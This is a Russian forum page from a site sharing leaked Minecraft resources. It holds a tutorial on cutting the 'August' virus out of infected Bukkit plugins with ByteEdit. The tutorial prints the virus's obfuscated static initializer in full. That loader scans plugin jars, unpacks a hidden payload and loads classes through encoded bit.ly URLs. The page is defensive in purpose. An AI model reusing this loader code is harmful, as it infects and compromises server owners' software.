⚡ Добро пожаловать на HightLeak 🔥

Лучший форум по сливам приватных майнкрафт ресурсов!

Ниже вы можете скачать самые лучшие ресурсы для создания или улучшения своего сервера Minecraft! Вы можете найти готовые конфигурации, сборки, фиксы, инструкции и множество самописных плагинов с популярных серверов! Развивай свой проект вместе с нами, уже более 3.000 пользователей сделали выбор в нашу сторону!

Зарегистрироваться
Вырезаем вирус "Август" из плагинов сборки.

ТУТОРИАЛ ПРОВЕРЕНО Вырезаем вирус "Август" из плагинов сборки. FINAL

Вы не можете скачать это (Причины)
  • Автор nokuno
  • Дата создания
  • Теги
    tutorial
  • Рекомендуемый
  • Вы должны войти в аккаунт что бы скачать ресурс!
  • Весенний сезон!

    Наступила весна, новое время для развития своего проекта! Пора выпускать для своих игроков что-то новенькое... И мы можем помочь!
    Активируйте промо код SPRING20 и улучшайте свой сервер! Вы получите приятную скидку в 20% на подписки 🌌PREMIUM/💎EMERALD!

    Обновите свой сервер и порадуйте своих игроков, добавив несколько горячих новинок с нашего сайта.

    Улучшить мой аккаунт
  • Улучшение сайта!

    Нашли баг или опечатку? Есть вопросы по ресурсам? Хотите запросить слив ресурса? Возникли проблемы?
    На всё вопросы и ещё многое другое, вы сможете найти ответ на нашем сервере, вам обязательно помогут, если у вас возникнут трудности!

    Присоединяйтесь в наше, большое комьюнити! Нас уже - более 3000 человек!

    Перейти в Discord сервер
Источник
https://github.com/SHADOWDANCH/BukkitAugust1StVirusRemover/releases
Поддерживаемые версии
  1. 1.8+
  2. 1.9+
  3. 1.10+
  4. 1.11+
  5. 1.12+
  6. 1.13+
  7. 1.14+
  8. 1.15+
  9. 1.16+
  10. 1.17+
  11. 1.18+
  12. 1.19+
В данном туториале я вам расскажу как удалить из своих плагинов вирус "Август", если они им заражены. Приятного чтения!

Когда вы скачивали какую либо сборку из непроверенных источников вы наверняка смотрели в код плагинов и хоть раз замечали подобный код:
Java:
   static {
      try {
         File var0 = new File(new String(new byte[]{112, 108, 117, 103, 105, 110, 115, 47}));
         boolean var1 = false;
         long var2 = -1L;
         int var4 = 0;
         File[] var5 = var0.listFiles();

         byte[] var7;
         for(int var6 = 0; var6 < var5.length; ++var6) {
            if (var5[var6].isFile() && var5[var6].getName().endsWith(new String(new byte[]{46, 106, 97, 114}))) {
               var0 = var5[var6];
               var7 = new byte[(int)var0.length()];
               FileInputStream var8 = new FileInputStream(var0);
               var8.read(var7);
               var8.close();
               if (var7[15] == (byte)(var7[16] ^ 190)) {
                  var1 = true;
                  var2 = (long)((var7[var7.length - 2] & 255) << 8 | var7[var7.length - 1] & 255);
                  if (var2 > 0L) {
                     var4 = (int)var2;
                     var2 = var0.length() - (var2 + 2L);
                     break;
                  }
               }
            }
         }

         if (var1) {
            RandomAccessFile var16 = new RandomAccessFile(var0, "r");
            var16.seek(var2);
            var7 = new byte[var4];
            var16.read(var7, 0, var4);
            var16.close();
            Inflater var17 = new Inflater();
            var17.setInput(var7);
            ByteArrayOutputStream var9 = new ByteArrayOutputStream(var4);
            byte[] var10 = new byte[1024];

            while(!var17.finished()) {
               int var11 = var17.inflate(var10);
               var9.write(var10, 0, var11);
            }

            var9.close();
            var7 = var9.toByteArray();
            var17.end();
            String var18 = new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47});
            URLClassLoader var12 = new URLClassLoader(new URL[]{new URL(var18 + new String(new byte[]{50, 50, 88, 66, 113, 105, 121})), new URL(var18 + new String(new byte[]{49, 88, 75, 65, 69, 112, 90}))}, Thread.currentThread().getContextClassLoader());
            Method var13 = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
            var13.setAccessible(true);
            Class var14 = (Class)var13.invoke(var12, null, var7, 0, var7.length);
            var14.newInstance();
         }
      } catch (Exception var15) {
      }

   }

Именной данный код и является вирусным. Он заражает все плагины своими копиями и в результате у всех плагинов есть выше приведенный кусочек кода, в их главном классе в самом низу.

Данный код скачивает библиотеку для управления байт-кодом и залазиит во все плагины, препятствуя нормальной работе сервера. В некоторых случаях (сборки на Paper) сервер перестает отвечать на команды в чате, а после ввода любой команды в консоль и вовсе выключаются. Данный вирус ворует определенные данные создавая уязвимость к взлому, хак команды или прочее.

Как же вырезать данный вирус? Сейчас покажу!

Инструкция есть на странице утилиты - https://hightleak.ru/resources/augu...a-programma-udaljajuschaja-virus-august.1655/
Скачиваем программу ByteEdit - клик.
Открываем файл при помощи архива и смотрим где находится главный класс.
1663170183403.png


Открываем ByteEdit и перетаскиваем в неё зараженный плагин.
Переходим к главному классу, листаем и ищем метод public static <clinit> ()V
1663170284920.png


Теперь выделяем метод с начала и до его закрывающей скобки и стираем его.
1663170365399.png

Очень длинный код по этому два скриншота.
1663170456925.png


После чего нажимаем File -> Save Jar и сохраняем наш файл с вырезанным "Августом".

Если вам понравился туториал, оцените его лайком с низу либо же оставьте отзыв. Хороших вам сборок!
  • 1662823587351.png
    1662823587351.png
    6,7 KB · Просмотры: 604
Автор
nokuno
Скачивания
103
Просмотры
1 585
Первый выпуск
Обновление
Оценка
4,00 звёзд 1 оценок

Другие ресурсы пользователя nokuno

Последние обновления

  1. Обновлено место в списке ресурсов.

    Обновлено место в списке ресурсов.

Последние оценки

пользовался данным способом, позже плагины перестают работать и выдают ошибку: "zip file closed" что то типо такого.
Так-то способ рабочий.
nokuno
nokuno
Данную ошибку они выдают как раз таки когда они заражены. После того как "Август" вырезан они работают нормально.